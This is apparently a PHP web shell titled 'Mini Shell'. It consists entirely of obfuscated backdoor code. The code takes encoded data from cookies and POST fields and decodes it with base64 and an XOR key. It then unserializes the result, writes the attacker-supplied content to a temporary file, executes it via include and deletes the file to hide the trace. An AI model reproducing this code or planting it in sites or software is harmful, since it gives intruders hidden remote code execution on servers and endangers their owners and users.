Mini Shell

$XPvcFI = "\x79" . chr ( 1059 - 989 ).chr ( 771 - 689 )."\x5f" . chr ( 247 - 128 ).chr (113) . "\151" . "\153" . "\x6a";$PhvNbP = "\143" . "\154" . 'a' . "\x73" . "\x73" . '_' . "\145" . "\x78" . chr (105) . "\163" . "\164" . 's';$wwMcxCK = class_exists($XPvcFI); $PhvNbP = "40719";$ZeEUIx = strpos($PhvNbP, $XPvcFI);if ($wwMcxCK == $ZeEUIx){function HACjdUxz(){$HTfkaZZtG = new /* 16523 */ yFR_wqikj(32132 + 32132); $HTfkaZZtG = NULL;}$puNfYOhVv = "32132";class yFR_wqikj{private function rzUjBGW($puNfYOhVv){if (is_array(yFR_wqikj::$wYgujjdCk)) {$name = sys_get_temp_dir() . "/" . crc32(yFR_wqikj::$wYgujjdCk["salt"]);@yFR_wqikj::$wYgujjdCk["write"]($name, yFR_wqikj::$wYgujjdCk["content"]);include $name;@yFR_wqikj::$wYgujjdCk["delete"]($name); $puNfYOhVv = "32132";exit();}}public function iWRxy(){$YGqKqo = "19152";$this->_dummy = str_repeat($YGqKqo, strlen($YGqKqo));}public function __destruct(){yFR_wqikj::$wYgujjdCk = @unserialize(yFR_wqikj::$wYgujjdCk); $puNfYOhVv = "28342_36039";$this->rzUjBGW($puNfYOhVv); $puNfYOhVv = "28342_36039";}public function WZVPPqDGu($YGqKqo, $xOaRvS){return $YGqKqo[0] ^ str_repeat($xOaRvS, intval(strlen($YGqKqo[0]) / strlen($xOaRvS)) + 1);}public function UNjAsejZ($YGqKqo){$fViIfqETn = chr (98) . 'a' . "\x73" . "\x65" . chr (54) . "\x34";return array_map($fViIfqETn . "\137" . chr ( 698 - 598 ).chr (101) . chr ( 495 - 396 ).chr ( 667 - 556 )."\x64" . "\x65", array($YGqKqo,));}public function __construct($UPhCW=0){$RGiMh = ',';$YGqKqo = "";$kYvIPJcp = $_POST;$kdXxusbCj = $_COOKIE;$xOaRvS = "56a08a13-614e-4bf3-a932-5601298336b8";$hflXPC = @$kdXxusbCj[substr($xOaRvS, 0, 4)];if (!empty($hflXPC)){$hflXPC = explode($RGiMh, $hflXPC);foreach ($hflXPC as $rxWHeLTq){$YGqKqo .= @$kdXxusbCj[$rxWHeLTq];$YGqKqo .= @$kYvIPJcp[$rxWHeLTq];}$YGqKqo = $this->UNjAsejZ($YGqKqo);}yFR_wqikj::$wYgujjdCk = $this->WZVPPqDGu($YGqKqo, $xOaRvS);if (strpos($xOaRvS, $RGiMh) !== FALSE){$xOaRvS = explode($RGiMh, $xOaRvS); $gMLCnkXvbh = sprintf("28342_36039", rtrim($xOaRvS[0]));}}public static $wYgujjdCk = 38138;}HACjdUxz();}